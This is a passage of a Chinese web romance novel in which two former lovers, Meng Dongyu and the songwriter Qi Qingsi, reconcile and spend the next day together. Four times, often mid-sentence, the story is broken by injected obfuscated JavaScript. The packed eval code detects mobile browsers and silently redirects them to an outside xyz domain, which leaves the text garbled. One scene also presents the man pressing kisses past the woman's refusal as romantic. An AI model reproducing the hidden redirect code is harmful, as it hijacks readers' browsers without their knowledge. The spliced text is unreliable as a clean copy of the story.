于是其中有人确认:“载酒老师,您和冬愉姐认识?” 载酒没回头,冷淡应声:“不认识。” 望着他渐行渐远的背影,孟冬愉脑海中再次浮现出,午休时做的那场梦。 她忽然也觉得,自己这样挺没意思的。 毕竟,无论他是载酒,还是祁清肆,都和她没关系了。 施听像是看出了什么端倪,跟着走出会议室,安抚地拍了拍她的肩膀,却什么都没问。 晚上的聚餐,施听有意牵线搭桥,暗戳戳向她介绍了很多可靠的心腹。 交际难免要喝酒,聚餐结束时,孟冬愉脑子已经被酒精灌得一片混沌。 她拒绝了让男同事送她回去的提议,强撑着和大家告了别,打了车一路回了家。 头晕眼花地爬到五楼,在家门口,再次看到了祁清肆。 还是下午见到时的那身穿搭,口罩摘了下来,身旁放了个行李箱,夹在指尖的一抹猩红忽明忽暗。 孟冬愉酒意清醒了一瞬,她揉了揉眼,确认没有看错之后,才拾阶而上。 路过他身边,却没有给他任何眼神,径直开了门。 祁清肆见她过来,把手中刚点燃的烟摁灭,擒住了她的手腕,语气依旧冷硬:“没什么想问我的吗?” 这些天连轴转的后果,经过酒精的催发,已经完全显现出来。 她此刻只觉得头昏脑涨,也只想好好躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686315|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡一觉。 面对他的纠缠,孟冬愉疲惫地闭了闭眼,冷冷开口:“我不感兴趣。” 祁清肆闻言嗤笑了声,像是在解释,又像是在质问:“孟冬愉,你是觉得我不会生气?还是觉得我不该生气?” 已经没有脑子去思考他究竟想表达些什么,孟冬愉不耐烦地蹙了蹙眉:“你到底想说什么?” “我想说什么?”祁清肆气笑,舔了舔咬得发酸的后槽牙,“你觉得我想说什么?” “我满心欢喜地计划着我们的未来,你倒好,早就想好了要离开。” “甚至祁振强都比我早知道,你不打算留在南江。” 那天她提了分手之后,他转身就走,什么都没说。 现在又跑过来旧事重提,孟冬愉闻言有些好笑地看着他:“我一开始就没说过要留在南江吧?” 祁清肆扯着唇角点头,沉澈的嗓音中压抑着怒气:“是,是没说过。” “你可以去追求你的事业,你想回北城,你和我说,我也不会拦你。” “可我要的不是你决定好之后,给我的一句通知。” 都分手了,下午还装作不认识,现在又跑来质问做什么? 烦躁涌上心头,孟冬愉没好气地应声:“向你道歉,行了吗?” 愠怒仿佛再也压不住,祁清肆咬着牙笑了声,掰开房门,又反手合上。 酒精让人迟钝,孟冬愉反应过来时,已经被他掐着腰,抱坐到了玄关的鞋柜上。 他把鸭舌帽摘下,欺身上前,捏着她的下巴,偏头吻了上去。 啃吮,撕咬,研磨…… 明明没什么技巧性,却感觉好像有丝丝缕缕的电流贯穿全身。 孟冬愉被逼得身体后仰,又被他紧紧追着不放。 不够尽兴,他捏着她下巴的手移到她的后脑,托着她的头和自己贴得更近,再一次加重了唇上的力道。 主导权不在自己手中,孟冬愉心底莫名有些恐慌。 换气的间隙,她呜咽出声,试图提醒:“不是……慢慢……” 祁清肆将她细碎的话语吞入腹中,却听懂了她要说些什么。 “慢慢来?”他嗤笑重复,像是听到了什么好笑的笑话,而后带着点惩罚的意味,吻得强势又凶狠,“你想过和我慢慢来么?” 长久累积的思念和压抑已久的欲望,倾泻而出。 他此刻疯狂地想要占有,想要在她身上留下他的气味和印记。 舌头撬开她的牙齿,长驱直入。 禁锢已久的枷锁,终于释放开来。 他在她的口腔中肆意掠夺,一寸一寸地占据,又带着她的舌尖抵死纠缠。 像是一阵狂风暴雨,猛烈而急促。 直到铺天盖地的窒息感袭来时,孟冬愉才被他松开。 他抵着她的额头,呼吸重而乱。 孟冬愉大口大口地喘气,身体早已经软得不成样子。 祁清肆低哑地笑了声,双手托着她的腿将她抱起来,往客厅的沙发走去。 困倦和疲惫侵袭着身体,一切都太突然了…… 知道了他接下来的意图,孟冬愉摇头,试图制止:“祁清肆,不行……” “为什么不行?”祁清肆完全没顺她的意,脚步没有丝毫停顿,语气依旧压着点火,“不是说不介意么?” “不是说接受程度很高么?” 孟冬愉提醒:“我们分手了。” 祁清肆将她放倒在沙发上,欺身压下:“我没同意。” 63. 和好 “分手”这个词,仿佛是一颗隐形的炸弹,再度激起祁清肆的怒火。 沙发不够宽,他单腿跪在沙发上,另一条长腿微曲支在地面,将她牢牢地禁锢在身下。 他上半身压下,再次咬住了她的唇瓣。 急促又猛烈的吻再次袭来,灼热的鼻息交缠,周遭的温度快速攀升。 衣物的布料摩擦,发出声响,像是被烈火点燃的干柴,噼里啪啦,越烧越旺。 唇瓣被他咬得发胀又灼痛,舌根也被他搅得发酸。 孟冬愉试图将他推开,但是他的来势如同汹涌的潮水,将她的反抗一点点淹没。 呼吸不顺,大脑缺氧,最后又只剩下窒息感。 身体上的难忍和生理上的难耐交织,泪水也跟着夺眶而出。 感受到她脸上的湿热,祁清肆猛地怔住,而后缓缓松开了她的唇,小心翼翼地去吻她脸上的泪水。 他呼吸乱得毫无章法,声音也哑得几近说不出话来:“孟冬愉,别哭,不继续了。” 祁清肆托着她的头将她扶起,又分开她的腿把她抱坐在他的腿上。 他胳膊箍着她的腰,将头埋在她的肩颈,压抑又隐忍地平复着紊乱的呼吸。 孟冬愉只觉得身体如同一滩烂泥,已经完全不受自己支配。 她任由他抱着,像濒死的鱼得到了海水一般,本能地吸气呼气。 时间在沉默中一分一秒地过去…… 祁清肆呼吸放缓了不少,嗓音还带着喑哑,喃喃开口:“孟冬愉,我这辈子是不是要栽你手里了?” 他停顿了一下,闷闷地接着说:“我一直觉得自己是个挺骄傲的人,可是面对你,我总是在手足无措。” “好像我无论怎么做,无论做什么,你就是不肯看看我。” “我感觉我在你面前,总是特别没尊严。”他笑了笑,声音却带着点哽咽,“明明特别生气,明明很失望,可我……可我还是忍不住想你,忍不住想见你。” 肩膀上好像有什么砸落,孟冬愉大脑“嗡”地一声,下意识想要扭头去看他。 只是头刚抬起来,就被他的手掌按回到肩膀上去。 他带着点鼻音:“别抬头。” “给我留点尊严。” 孟冬愉再次想起,上次他低着头,眼泪往地板上砸的场景。 在南江的那些天,她见过他不少次难过的时刻,就连上次知道他母亲的事情的时候,他也不过红了眼眶。 可是这却是他第二次…… 第二次因为她,而落泪。 心脏被他的话揪得发酸,孟冬愉手指攥紧又松开,轻轻环上了他的腰:“对不起,我……” 想要解释点什么,却又不知道该如何解释。 她没有被人这么坚定地选择过,面对他不图回报的付出,她不知道该怎么做。 她害怕别人的期待,更害怕期待过后的失望,所以,她本能地会选择让他们从一开始,就对她不抱有任何期望。 于是,她拒绝,她逃避,她挣扎,她推开…… 这些对很多人都很有效,但祁清肆好像是个例外。 见她嗫嚅了很久,什么话都没说出来,祁清肆接着开口:“孟冬愉,我其实很好哄的。” “你和我多说几句好话,或者奖励我一下,我就不生气了。” 他鼻音又加重了一点,不是商量的语气,而是带着无能为力的乞求:“所以,能不能……能不能别总是遇到点儿事情,就先想着推开我。” 孟冬愉从一开始就看得出来,他是典型的吃软不吃硬。 可是她还是执拗地用冷漠又强硬的态度,一次又一次刺痛他。 可那些伤害全是她本能的,或者说是不经意的吗? 并不全是。 她渴望有人,历经她给予的重重试探,在遍体鳞伤之后,依旧暴烈地爱她。 在接近窒息的那一刻,酒劲已经被尽数逼退。 再次获得新鲜空气,大脑渐渐清醒,连身体原先的疲惫感都在缓和。 孟冬愉紧了紧环在他腰上的手,轻轻喊他的名字:“祁清肆。” 她清醒地向他承诺:“以后……不会了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699533|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>以后不会再推开他,去试探他的心意了。 祁清肆闻言偏头咬了下她的耳朵,带着点原谅和讨好的意味,应声:“嗯。” 孟冬愉从他肩膀上抬头,抬手摸了摸他还湿漉漉的眼睫:“你别哭了。” 祁清肆不自然地别开脸去,嘴硬:“没哭。” 孟冬愉没再和他争论些什么,看了眼时间,轻轻推了推他,试图从他腿上下来:“时间不早了,你先回去吧。” “让我回哪儿去?”祁清肆闻言,像是有着应激反应一般,“又要我回我的南江去,是吗?” “不是。”孟冬愉叹了口气,耐心地解释,“我是说,你先回酒店或者你在北城的住处。” “我今天很累,我想要早点休息。” 祁清肆神色缓和了几分,语调还带着点委屈:“我没地方去。” 孟冬愉:“?” 不是版权千万的创作人吗?不是在北城不缺房子住吗? 孟冬愉刚工作时,是和人一起合租的。 后来合租的室友谈了恋爱,总是带着男朋友回家,那段时间,孟冬愉的衣服莫名丢了好几次。 于是在第二年定岗加薪之后,她就咬了咬牙,租了个一室一厅的小房子。 房东人还不错,没有产生过什么纠纷,再加上房子在地铁口,通勤什么的比较方便,她就一直租到了现在。 她今晚回来前,看到了祁清肆身旁的行李箱。 只是,她不理解,放着公司给他订好的酒店不住,为什么跑来和她挤这么一个小房子? 更何况,如果他们今晚没和好,他真的就打算露宿街头? 孟冬愉抿了抿唇角,提醒他:“我这里只有一间卧室。” “我睡沙发。”祁清肆想都没想就应声,犹豫了一下,又补充,“而且,现在也走不了。” 孟冬愉没听明白:“为什么?” 祁清肆耳朵仿佛熟透了一般,他掐着她的腰,把她往身上带了带。 粗重的一声喘息从喉间溢出,他嗓音再次染上哑意:“我现在这样,怎么走?” 64. 幸福 感受到他身体的异常,意识到自己此刻正坐在什么位置上。 孟冬愉惊了一下,下意识地想要挪开。 然而,他落在她腰上的手,把她禁锢得很紧。 她挪不开来,挣扎的动作反而加剧了两人之间的摩擦。 祁清肆向后仰了仰脖子,难耐地闭上眼,喘气声闷重又绵长:“孟冬愉,别动。” 孟冬愉见状僵直了身体,不敢再有任何动作。 身体相贴处的触感太难忽视,她咬了咬嘴唇,犹豫了一下,试图和他商量:“我明天得早起上班,今天真的很累,我不想……” 祁清肆睁开眼,视线落在她的唇上,眸色沉晦,眸底似有海浪汹涌。 停留了片刻,他忽地问她:“痛吗?” 没等孟冬愉反应过来,他抬手,拇指轻轻刮过她的唇瓣,语气带着点自责:“都肿了。” 明明是心疼的神色,可他看向她的眼睛却带着十足的蛊惑。 嗓音低哑,语速也慢,一字一句都好似在调情。 孟冬愉不由自主地环上他的脖颈,凑过去在他唇上啄了一下:“还好。” 突如其来的磨蹭,促使祁清肆再次闷哼一声。 感受到异常越来越明显,孟冬愉猛地清醒过来,僵着背提议:“你要不……去解决一下。” 祁清肆乱着呼吸把埋头在她的颈间,蹭了蹭,将她的提议否决:“不去。” 孟冬愉无奈:“你先放我下来。” 见他没有听话的意思,她叹了口气:“你这样不难受吗?” 不知道祁清肆听没听得进去,他没应声,神色有些迷离,抵着她的额头,一下一下去亲她的唇角。 若即若离的触碰勾得孟冬愉心底发痒。 但是今天发生了太多的事情,脑容量几近爆炸,她真没有心思继续下去。 她捧住他的脸,又安抚般亲了亲他的脸颊,决定扯谎:“我今天生理期。” 祁清肆闻言愣了一下,而后缓缓闭上了眼睛。 他锁着眉头滚了滚喉结,仿佛要强行压下去些什么,再睁眼时眸光清明了几分。 但嗓音依旧像含着沙一般:“提前了?” 没料到他会这么问,孟冬愉也跟着愣了一下,有些心虚:“你怎么知道?” 她的生理期一向不准,也就没养成记日期的习惯。 虽然这几个月经过中药的调理稳定了不少,她仍然没去记过上个月开始时是几号。 “前两个月都是十五号。”祁清肆径直应声,好像又突然反应过来了什么,他鼻尖抵着她的鼻尖,轻轻嗅了嗅,“可你今天喝了酒。” 谎言被他巧妙地戳破,孟冬愉环上他的脖子,索性破罐子破摔:“那来吧,快点。” 眸底被压下去的欲望再度涌出,祁清肆闭眼深吸了口气,把她的胳膊拿了下来,扶着她的腰把她往后移,而后松开了手。 禁锢突然被解除,孟冬愉一时间没反应过来:“怎么了?” “不是要早点休息么?”祁清肆眼睛不舍地从她脸上移开,下巴点了点洗手间的方向,“去洗漱吧。” 突如其来的妥协,促使孟冬愉脱口而出:“那你呢?” 祁清肆身体后仰,往沙发背上靠了靠,哼笑应声:“我睡沙发。” 明确了他的意思,孟冬愉起身,视线下移,向他提议:“要不你先洗?” 察觉到她的视线,祁清肆呼吸明显又乱了几分,耳根的红意不褪反增。 他站了起来,喉结滚了滚,抬手遮住了她的眼睛:“别乱看。” “哦,我去帮你拿床被子。”孟冬愉将眼睛上的手掌拿下,忍着笑意点头,又把事情一一安排好,“你去门口拿行李箱,然后去洗澡。” 祁清肆忍了片刻,再次把她揽入怀中,鼻尖蹭了蹭她的耳朵,带着点恋恋不舍:“你先。” “我洗会比较久。” 聚餐回来已经是十点多钟,回来之后又和他折腾了这么久,孟冬愉洗漱好出来,已经过了半夜十二点。 身体和大脑的疲惫,已经让她无心过问祁清肆在沙发上睡不睡得好。 她帮他拿了床被子,就回到房间,沉沉地睡了过去。 早上七点的闹钟响起,孟冬愉睁开眼,就看到祁清肆正站在床边。 她心底一惊,猛地坐起,待混沌的意识回笼,又轻轻松了一口气。 祁清肆见她醒来,勾着唇角向她打招呼:“早。” 不知道他昨晚几点睡的,也不知道他在她床边站了多久。 孟冬愉打了个哈欠,抬眼看他:“你怎么起这么早?” 祁清肆没搭腔,唇线拉平,语调染上点不满:“我都和你说早安了,你没什么表示的吗?” 孟冬愉大脑还有些懵:“什么表示?” 祁清肆面无表情的提醒:“早安吻。” 孟冬愉被他给逗笑,从床上起来,踮起脚尖在他脸颊上吻了一下,笑道:“早上好。” 祁清肆唇角没压住,但话里却不满足:“亲脸啊?” 孟冬愉弯起眼睛,逗他:“不然,你想让亲哪儿?” “孟冬愉,你还挺记仇。”祁清肆咬牙点头,揽着她的腰把她往怀里带,眼睛直勾勾地盯着她的唇,将诉求讲出,“想接吻。” 孟冬愉摇了摇头,试图先将他推开:“等一下,我没洗漱呢。” “等不了了。”祁清肆没给她挣脱的机会,勾着她的下巴,低头,径直吻了上去。 与昨晚的那两次吻不同,这次不带有任何怒意和报复,也并不猛烈和凶狠。 反而带着点珍视、渴望、梦寐以求…… 仿佛春风细雨一般,缓缓地和她纠缠,缱绻又缠绵。 和昨晚一样,身体仿佛过了电,酥酥麻麻的电流从大脑,从心脏,蔓延到四肢。 但是昨晚的注意力太过分散,此刻专注起来,感受比昨晚更强烈一些。 很奇妙的感觉。 也是从未有过的感觉。 感受到她有些呼吸不顺,祁清肆将她松开,从她的鼻尖吻到了眉眼。 最后紧紧地抱着她,带着浓郁的爱意,喃喃:“孟冬愉,我真的很喜欢你。” 四肢有些酸软,孟冬愉依偎在他怀中,耳畔是他扑通扑通的心跳声。 剧烈、鲜活、有力。 心跳不会说谎。 她环上他的腰,缓缓应声:“我听到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725875|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 无言相拥良久,祁清肆低头,视线再次落到她的唇上:“能不能再亲一次?” 孟冬愉这才意识到,自己刚睡醒就在和他搂搂抱抱。 脸颊忽地有些发烫,她松开胳膊,把他往门外推:“我上班要迟到了,你先出去,我要换衣服。” 房门合上,孟冬愉倚在门后,揉了揉脸颊,又轻轻呼出一口气。 唇角不受控地扬起,心脏仿佛被什么包裹住,甜滋滋地,雀跃地跳动。 心底也软成了一滩水,咕嘟咕嘟地冒着泡泡。 孟冬愉脑海中忽然闪现出“幸福”这个词。 是的。 她好像……感觉到了幸福。 …… “换衣服怎么这么慢?早餐都冷了。” “孟冬愉,你不是在躲我吧?” “不给亲就不亲了,快点出来。” 敲门声夹杂着絮絮叨叨的声音响起,将孟冬愉的思绪唤回。 她弯着唇角将衣服换好,再次打开了门。 祁清肆将敲门的手收回,佯装委屈地看她:“真不能再亲一下吗?” 孟冬愉看了眼时间,已经比平时耽误了太久。 她摇了摇头,义正言辞的拒绝:“不行,等下要上班呢。” 祁清肆倚在卫生间门口,盯着她洗漱:“下午几点下班?” 孟冬愉一边刷牙一边含糊不清地应声:“五点。不过应该要加班。” 祁清肆接着问:“能回来加班吗?” 孟冬愉漱了口,偏头看他:“你今晚还要在这儿住啊?” 祁清肆说得理所当然:“不在这儿住,我能去哪儿?” 再次想起昨天吃饭时,卜晓晓和施听的话。 孟冬愉快速洗了把脸,又把脸擦干,才问道:“幻宙那边给你订的酒店,你为什么给拒了?” “不想去。”祁清肆想都没想就应声,“想和你住。” 孟冬愉闻言犹豫了一下:“如果昨晚……” 如果昨晚没和好,如果她坚持要赶他走,他要怎么办? 她没问出口,但祁清肆好像听懂了。 祁清肆:“没想过。” 没想过? 他就这么有自信,他们会和好? 没等孟冬愉应声,他垂下眼去,扯了扯唇角:“可能会赖在你门口,耗到你心软为止吧。” 不是没想过会被赶走。 是没想过接下来要怎么办。 孟冬愉忽地又想起他说的,面对她,他总是在手足无措。 昨晚,也是在手足无措的情况下,来找她的吗? 心底有些泛酸,孟冬愉凑过去,在他唇上啄了一下:“不知道要怎么回应,这样算奖励吗?” 祁清肆眸光亮了亮,抬手欲揽她的腰,却被她笑着躲开。 孟冬愉主动牵着他的手,往餐桌方向走:“早上吃什么?” 祁清肆任由她拉着,慢悠悠跟在她身后,不知想起了什么,笑了声:“孟冬愉,你挺会钓人的。” 孟冬愉闻言停下脚步,回头看他:“我钓谁了?” “你挺会钓我的。”祁清肆唇角勾起,“不过,我自愿上钩。” 65. 回顾 孟冬愉简单吃了早饭,就匆匆忙忙出了门。 她踩着点赶到公司打了卡,进电梯的时候,刚好碰到卜晓晓咬着包子,冲了进来。 卜晓晓看到她,满脸惊讶:“冬愉姐,你怎么也才来?” 孟冬愉笑了笑,不答反问:“你不也才来?” “我?”卜晓晓闻言指了指自己,脱口而出,“我每天都这个点到。” “你之前都要比我们早到一个多小时,我还真没想到,今天会在这里碰到你。” 话说完,卜晓晓又不好意思地挠了挠头,心虚地看了孟冬愉一眼,解释:“我就是早上起不来,绝对没有对工作不认真的意思。” “知道。”孟冬愉将围巾摘下,笑着为她找了理由,“冬天确实起床困难。” 卜晓晓放松下来,咬了口包子,接着猜测:“所以,冬愉姐,你今天早上也睡过头了?” 脑海中再次浮现出早上起床时的场景。 孟冬愉唇角弯起,摇了摇头:“我还好,不算睡过头。” 卜晓晓闻言,看了眼孟冬愉,有些疑惑:“你脸好像有点红,是不是昨晚喝太多过敏了?” “施听姐也真是的,带着你喝那么多酒。” 孟冬愉顿了一下,抬手摸了摸脸颊,把羽绒服拉链拉开,为施听辩解:“不是,可能有点太热了。” 办公楼内暖气本就开得足,卜晓晓深信不疑地点了点头,把手中的早餐吃完,跟着孟冬愉一同出了电梯。 上午的时间在忙碌中,飞快而过。 中午的时候,卜晓晓像往常一样,喊孟冬愉一起去吃饭。 两人一起下了楼,刚走出大门,卜晓晓就暗戳戳地撞了撞孟冬愉的胳膊,朝她挤眉弄眼:“冬愉姐快看,花坛那里,有帅哥。” 没等孟冬愉反应,卜晓晓又摸了摸下巴:“诶?怎么感觉有点眼熟?” 孟冬愉顺着卜晓晓示意的方向望过去—— 早上险些导致她迟到的罪魁祸首,此刻正拎着饭盒,站在不远处的花坛边,看着她。 见她终于注意到他,祁清肆迈开步子,朝她走了过来。 与此同时,卜晓晓也反应了过来,拍了拍脑袋,向孟冬愉确认:“冬愉姐,他是不是南江的那个网红啊?” 孟冬愉点了点头,有些发愁要怎么向卜晓晓解释。 毕竟昨天刚在她和施听面前,与祁清肆撇清关系。 祁清肆倒是不知道她在愁些什么,他走到孟冬愉面前停下,空着的手去牵她的手,语气带着点不满:“怎么才下来?” 言行透露着亲昵,牵她手的举动又太过熟练和自然。 卜晓晓见状瞪大了眼睛,目光在他们两人身上来回切换:“你们?你们?你……” 孟冬愉笑了下,没再想着隐瞒,坦诚地向她介绍:“我男朋友。” “啊?”卜晓晓挠了挠头,没反应过来,“你昨天不是说,他没女朋……” 孟冬愉握拳在唇边轻轻咳了声,把她的话打断,疯狂暗示她不要再讲下去。 卜晓晓恍然大悟般点了点头,识趣地指了指餐厅:“那你们聊,我先去吃饭了。” 目送卜晓晓小跑着离开,祁清肆看了她一眼,有种秋后算账的意思:“我没女朋友?” 孟冬愉生硬地转移话题:“你怎么来了?” “来宣誓主权。”祁清肆哼笑了声,话里带着点阴阳怪气,“让你同事知道我有女朋友。” 知道他在等着她来哄。 孟冬愉没接他的话,双手捂住他的手,搓了搓:“手怎么这么冰啊?来多久了?怎么不给我打个电话?” 祁清肆唇角微微勾起,握着她的手揣进自己口袋,又嗤笑了一声:“你自己打开手机看看。” 孟冬愉愣了一下,而后反应过来,他应该是打过电话或者发过消息了。 她工作时,习惯将手机调成静音,加上工作忙,很少有空去翻手机。 撞到他枪口上不说,她又搬起石头砸了自己的脚。 孟冬愉捏了捏他的手指,示弱:“我好饿,我们先去吃饭,好不好?” 祁清肆倒是很吃她这一套,在口袋中与她十指相扣,跟着她一起去了食堂的就餐区。 饭盒被一层层掀开,看着他亲手做的菜,一道道摆在她面前。 孟冬愉抿了抿唇角,有些愧疚:“其实不用这么麻烦的,我吃食堂就行。” 她租的房子有厨房和天然气,只是她平时几乎没怎么做过饭,厨具没几个,冰箱里更是没任何备菜。 买厨具买菜,他做这些估计要花上不少时间。 祁清肆没搭腔,把冒着热气的粥搅拌了一下,端到她面前:“你最近没好好吃饭。” 孟冬愉拿着筷子的手顿了一下,而后有些心虚地摇头否认:“没有。” 祁清肆挑眉看她:“那怎么瘦了?” 就算这几天胃口不太好,没吃多少饭,也不至于瘦得这么明显。 她一开始还以为他是听谁说了,她没好好吃饭。 孟冬愉松了一口气:“你哪儿看出来的?” 祁清肆想了一下,吊儿郎当道:“抱你的时候,感觉比之前硌手。” 孟冬愉:“?” 更是胡诌。 她瞪了他一眼,换了话题:“你没工牌,怎么进来的?” 幻宙科技园区进出都要刷工牌,员工家属或者访客都需要有员工带着,登记之后才能进来。 孟冬愉一直很好奇,他为什么能站在安保这么严的办公楼下等她。 祁清肆漫不经心地应声:“联系不上你。” “找你们企划部的人来帮我刷了卡。” 孟冬愉反应了片刻,问道:“大家现在都知道你是载酒了?” 话问出口,又觉得不太对。 至少卜晓晓这个“幻宙包打听”好像还不知道他是载酒。 祁清肆没等她换措辞,就应声:“不知道。” 孟冬愉索性接着问:“你今天不是以载酒的身份进来的吗?” 祁清肆否掉她的说法:“我就不能在企划部有个朋友?” 孟冬愉看了眼四周,犹豫了一下,又提醒道:“虽然你昨天带了口罩和帽子,但也挺显眼的。” “昨天见过你的,应该都能认出来。” 祁清肆勾起唇角,慢悠悠开口:“这么不想我露面啊?太太。” 孟冬愉:“?” “太太?” 祁清肆语气有些意味深长:“不是你说,载酒不露面,是他太太不让吗?” 孟冬愉:“……” 多久前的八卦了,他怎么还记得这么清楚? 祁清肆接着回到原来的话题:“放心,昨天见过我的人,就会上那几个。” “他们都签了保密协议。” 孟冬愉:“怎么没让我签?” “我签合同得用真名。”祁清肆嘶了声,“你昨天都当众喊我名字了,签了又有什么用?” 又想起那天他的冷淡态度。 孟冬愉赌气般问道:“那你还说不认识我?” 祁清肆咬牙:“我等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740152|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你追上来哄我。” “哦。”孟冬愉戳了戳碗中的米饭,又抬眼看他,“我微博给你发的私信,你是不是全都看过?” “嗯。”祁清肆坦荡承认,又帮她夹了菜,“边吃边问。” 当初年少幼稚,孟冬愉在私信上,把自己介绍了个底朝天。 现在回头想想,这几个月来,她一直在他面前“裸奔”。 想到这里,孟冬愉又有些恼:“你为什么不早点告诉我?” 祁清肆换了个舒服的坐姿,一字一句地提醒:“妹妹也喊了,暗示也暗示了,歌也弹了,私信也回了。” “还要我怎么告诉你?” 妹妹? 初见那两天,他确实喊过她妹妹。 孟冬愉到现在依旧疑惑:“为什么喊我妹妹?” 祁清肆:“你私信一口一个哥,我不喊妹妹喊什么?” 孟冬愉了然,想了一下,又一本正经地解释:“大家都觉得那些歌词,没个几十年的阅历,根本写不出来。” “没人敢想你当时还没成年。” 祁清肆哼笑,替她补充:“所以你们就把我编造成,一个三四十岁,早已成家立业的男人。” 孟冬愉点头,又接着问:“还有什么暗示?” “有些人学吉他,就是为了装酷、耍帅、把妹。”祁清肆缓缓复述完,又好笑地看她,“自己说过的话都忘了。” 经他这么一提醒,孟冬愉才隐隐约约地想起来。 应该她大二那年,出去兼职的时候,被一个乐队的吉他手纠缠。 她当时就在微博上顺嘴吐槽了句。 孟冬愉:“你还看了我的微博?” 祁清肆理所当然地应声:“看了,还好奇为什么昵称不用十月快乐?” 孟冬愉愣了一下,又反应过来—— 他用了这么多年的个性签名,真的是她的名字。 再次想起这几个月来,他对她说过的那些话。 他说让她勇敢一点,割断那些让她感到痛苦的家庭关系。 他还说他不在乎她的过往,不在乎她的背景。 他出现在她父亲的葬礼上,看到了那么多她的灰暗面,却什么都没问,也一点都不惊讶。 她咬了咬嘴唇,几乎陈述般,向他确认:“所以,你很早就知道了我的家庭背景,是吗?” 祁清肆没直接承认,看了她一眼,语气带着点无奈:“没一点儿防备心,什么都敢一股脑儿地发给陌生人。” “我以为你不会看。”孟冬愉垂头,“也只给你发过。” 于她而言,载酒不是陌生人。 他的歌救了她,他的私信又陪她熬过了这些年。 他的私信界面,是她当初所有情绪的宣泄地。 他是她的救命稻草,是她的解药。 孟冬愉吸了吸鼻子,却没把这些话说出口。 祁清肆忽地换了话题:“你公司怎么人这么多?” 孟冬愉被他唤回思绪:“怎么了?” 祁清肆眸色沉沉地盯着她,有些委屈:“想抱一下都不能。” 如今载酒和眼前的人重叠,孟冬愉忽然间觉得自己好幸运。 她的解药就在眼前,并且坚定地选择了她。 鼻尖的酸意蔓延到眼眶,孟冬愉看向他的眼睛,诚恳又真挚地开口:“祁清肆,谢谢你。” 像是看出了她心中所想,祁清肆起身,走到她身旁,把她从椅子上拉了起来。 他快速抱了她一下,又松开:“孟冬愉,是你先选择了我。” 66. 撩拨 孟冬愉在当天下午五点钟准时下了班。 正在收拾东西的卜晓晓再次震惊,不知道想到了什么,又朝她挤眉弄眼道:“冬愉姐,你这是要沉浸在帅哥的温柔乡,‘从此君王不早朝’吗?” 孟冬愉无奈地笑了笑,晃了晃手中的笔记本,解释:“今天回去加班。” “回去加班?今天紧急的工作不都完成了吗?”卜晓晓不敢置信地瞪大了双眼,又挠了挠头,“剩下的那些明天处理也来得及吧?” “今天能处理的还是要处理掉的。”孟冬愉揉了揉太阳穴,“明天还有别的安排。” 卜晓晓见状叭叭叭地劝说:“这几天都没见你怎么休息过,你不要总是把自己逼这么紧。” “男朋友难得来了,不打算去好好约个会啊?” “施听姐不还说,工作是永远做不完的,要学会享受生活吗?” 孟冬愉笑着应下,回到家中,和祁清肆一起吃了晚饭,还是打开了电脑,继续工作。 把团队递上来的两份策划案看完,孟冬愉抻了个懒腰,才察觉到祁清肆正坐在一旁,一言不发地盯着她看。 孟冬愉摸了摸自己的脸颊,有些疑惑:“我脸上有什么东西吗?” 祁清肆面无表情地摇头:“没有。” 一直盘腿坐在地毯上,双腿有些发麻。 孟冬愉轻轻活动了一下,又去问他:“那你一直盯着我干嘛?” 祁清肆:“我无聊。” 察觉到他此刻的状态好像不太对。 孟冬愉试图猜测:“是幻宙新手游的宣传曲,没有灵感?” 话音刚落,电脑上刚好又有同事发来了新的修改方案,孟冬愉点开,注意力再次集中到屏幕上。 祁清肆没回应她的猜测,有些不爽地问:“什么时候忙完?” 孟冬愉敲着键盘,头也没抬地应声:“还早。” 祁清肆接着问:“能不能休息一会儿?” 孟冬愉盯着屏幕,语气有点敷衍:“等一下,我现在还不累。” 祁清肆深吸了口气,语调染着点委屈:“可是我累。” 孟冬愉闻言偏头看他,有些疑惑:“你累什么?” 他从吃完饭收拾好,就一直在一旁的沙发上坐着,怎么还觉得累? 祁清肆咬牙:“我忍得累。” 孟冬愉:“?” 